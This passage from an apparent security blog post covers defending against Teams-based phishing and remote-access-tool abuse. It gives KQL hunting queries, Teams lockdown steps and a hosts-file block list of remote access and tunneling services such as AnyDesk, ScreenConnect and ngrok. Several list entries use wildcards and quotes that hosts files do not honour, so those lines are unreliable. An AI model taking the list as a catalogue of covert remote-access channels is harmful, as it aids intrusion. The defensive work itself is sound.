| where Application == "Microsoft Teams" and        ActionType == "MessageCreatedHasLink" and       //left to keywords like anydesk, if needed        RawEventData.MessageURLs has_any("") and       // remove this line of phishing done from an internal user account        RawEventData.ParticipantInfo.HasForeignTenantUsers == true  

• Hunting query to review linked shared in one to one chat from external users  

CloudAppEvents
| where Application == "Microsoft Teams" and ActionType == "MessageCreatedHasLink" and    RawEventData.ParticipantInfo.HasForeignTenantUsers == true and      RawEventData.CommunicationType == "OneOnOne"
| summarize  count(), min_value=min(['TimeGenerated']), max_value=max(['TimeGenerated']) by tostring(RawEventData.UserTenantId), ActionType, tostring(RawEventData.MessageURLs)

• Find user that are targeted by registration bombing.

EmailUrlInfo
// Filter for URLs related to password resets coming from wordpress
| where Url contains 'wp-login.php?action=rp'    
| project NetworkMessageId, Url, UrlDomain
| join kind=inner (EmailEvents) on NetworkMessageId  
| summarize
   Count = count(),
   Urls = make_list(Url)
by RecipientEmailAddress

This query identifies emails from WordPress, as they make up a significant portion of registration bombing attempts. However, additional patterns can also be incorporated.

Security Hardening Opportunities

A well-configured Active Directory setup, along with endpoint hardening, are effective measures to slow down or even block threat actors. We strongly recommend that organizations conduct annual configuration reviews. Our incident response team’s data shows that addressing these areas can significantly reduce the impact of a breach. However, this blog post will focus on those initial steps.

Remote access tools are widely used, and in large organizations, it’s common to have multiple such tools installed. This often happens because different local IT teams rely on different remote access solutions for support. To address this, organizations should define a set of approved support tools and establish a standardized installation process. This allows for the creation of detection rules to identify any tools that deviate from the authorized list or were installed outside the defined procedure. Additionally, we recommend blocking the domains associated with these remote access tools at the host level. We advise against only doing this at the corporate firewall level, as many organizations’ home office policies mean that not all traffic is routed through the corporate environment, leaving users vulnerable. You can find the list of proposed blocking in the annexes.

To enhance the security of your Microsoft Teams environment and prevent unauthorized access, it is recommended to block external or unknown tenants from being able to interact with your organization’s Teams environment. However again it depends on your organization context and needs.

Steps to Block Unknown Tenants in Microsoft Teams:

Configure External Access Settings:

• In the Microsoft Teams Admin Center, navigate to External access.
• Set external access to Off or limit it to trusted domains only (i.e., your partner or vendor organizations).
• This setting will prevent users from communicating with external Teams tenants unless explicitly allowed.

Control Guest Access:

• In the Teams Admin Center, go to Guest access.
• Disable guest access entirely or restrict it to only specific trusted domains or user groups.
• By limiting guest access, you prevent unauthorized external users from being added to your Teams channels or chats.

Review and Restrict “Teams” Guest Permissions:

• If guest access is necessary, restrict the permissions guests have within Teams by customizing the guest settings.
• Disable sensitive features such as file sharing, meeting scheduling, or team creation for guests.

Block external users to contact user in your organization

• In the Teams admin center, go to External access.
• Turn on the People in my organization can communicate with Teams users whose accounts aren’t managed by an organization setting.
• Block external unmanaged Teams users to start the conversation, unselect the External users with Teams accounts not managed by an organization can contact users in my organization checkbox.

Threat Intelligence / Indicators of Compromise

Contact us:

Contact us here if you have any questions or if you need support in responding to such a situation.

Hardening recommendations annexes

We recommend blocking the following domains to prevent successful connections from commonly used remote access tools. Before implementing this block at the host level, it is essential to verify that no department is utilizing these tools for legitimate purposes. Additionally, keep in mind that the IP address associated with the domain can be changed to one owned by your organization, allowing you to display a custom message to users attempting to connect. Credit to https://github.com/LivingInSyn/RMML for providing the domains used for the connection.

Some remote access tools, such as RustDesk, require additional security measures because threat actors can set up their own infrastructure, allowing them to use any domain they choose.

We provide an example using the lmhosts file on Windows systems. However, these block lists can also be implemented through EDR and firewall rules. Adapt them to suit your organization’s setup.

# Network blocking anydesk

127.0.0.1 *.net.anydesk.com

# Network blocking atera

127.0.0.1 pubsub.atera.com

127.0.0.1 pubsub.pubnub.com

127.0.0.1 agentreporting.atera.com

127.0.0.1 app.atera.com

127.0.0.1 agenthb.atera.com

127.0.0.1 packagesstore.blob.core.windows.net

127.0.0.1 ps.pndsn.com

127.0.0.1 agent-api.atera.com

127.0.0.1 cacerts.thawte.com

127.0.0.1 agentreportingstore.blob.core.windows.net

127.0.0.1 atera-agent-heartbeat.servicebus.windows.net

127.0.0.1 ps.atera.com

127.0.0.1 atera.pubnubapi.com

127.0.0.1 appcdn.atera.com

127.0.0.1 atera-agent-heartbeat-cus.servicebus.windows.net

127.0.0.1 ticketingitemsstoreeu.blob.core.windows.net

127.0.0.1 a32dl55qcodech-ats.iot.eu-west-1.amazonaws.com

# Network blocking fleetdeck

127.0.0.1 ‘*.fleetdeck.io’

127.0.0.1 fleetdeck.io

127.0.0.1 fleetdm.com

# Network blocking gotomypc

127.0.0.1 ‘poll.gotomypc.com’

# Network blocking level.io

127.0.0.1 agents.level.io

127.0.0.1 online.level.io

127.0.0.1 builds.level.io

127.0.0.1 downloads.level.io

# Network blocking ninjarmm

127.0.0.1 ‘*.ninjarmm.com’

127.0.0.1 ‘*.ninjarmm.net’

127.0.0.1 ‘*.rmmservice.com’

# Network blocking QuickAssist

127.0.0.1 remoteassistance.support.services.microsoft.com

127.0.0.1 ‘*.support.services.microsoft.com’

127.0.0.1 remoteassistanceprodacs*

# Network blocking ScreenConnect

127.0.0.1 myconnectwise.com

127.0.0.1 connectwise.com

127.0.0.1 screenconnect.com

127.0.0.1 itsupport247.net

# Network blocking Splashtop

127.0.0.1 ‘*.splashtop.com’

127.0.0.1 ‘*.splashtop.eu’

# Network blocking Supremo

127.0.0.1 ‘*.nanosystems.it’

127.0.0.1 ‘*.supremocontrol.com’

# Network blocking tailscale

127.0.0.1 ‘*.tailscale.com’

127.0.0.1 ‘*.tailscale.io’

# Network blocking teamviewer

127.0.0.1 ‘*.teamviewer.com’

# Network blocking VSCodeTunnel

127.0.0.1 ‘*.tunnels.api.visualstudio.com’

127.0.0.1 ‘*.devtunnels.ms’

# Network blocking ZohoAssist

127.0.0.1 ‘*.zoho.com’

127.0.0.1 ‘*.zoho.eu’

127.0.0.1 ‘*.zoho.in’

127.0.0.1 ‘*.zoho.com.au’

127.0.0.1 ‘*.zoho.com.cn’

127.0.0.1 ‘*.zohoassist.com’

127.0.0.1 ‘*.zohoassist.jp’

127.0.0.1 ‘*.zohoassist.com.cn’

127.0.0.1 downloads.zohodl.com.cn

127.0.0.1 downloads.zohocdn.com

127.0.0.1 gateway.zohoassist.com

# Network blocking ngrok

127.0.0.1 ‘*.ngrok-agent.com’

127.0.0.1 ‘update.equinox.io’

127.0.0.1 ‘tunnel.ngrok.com’

127.0.0.1 ‘tunnel.*.ngrok.com’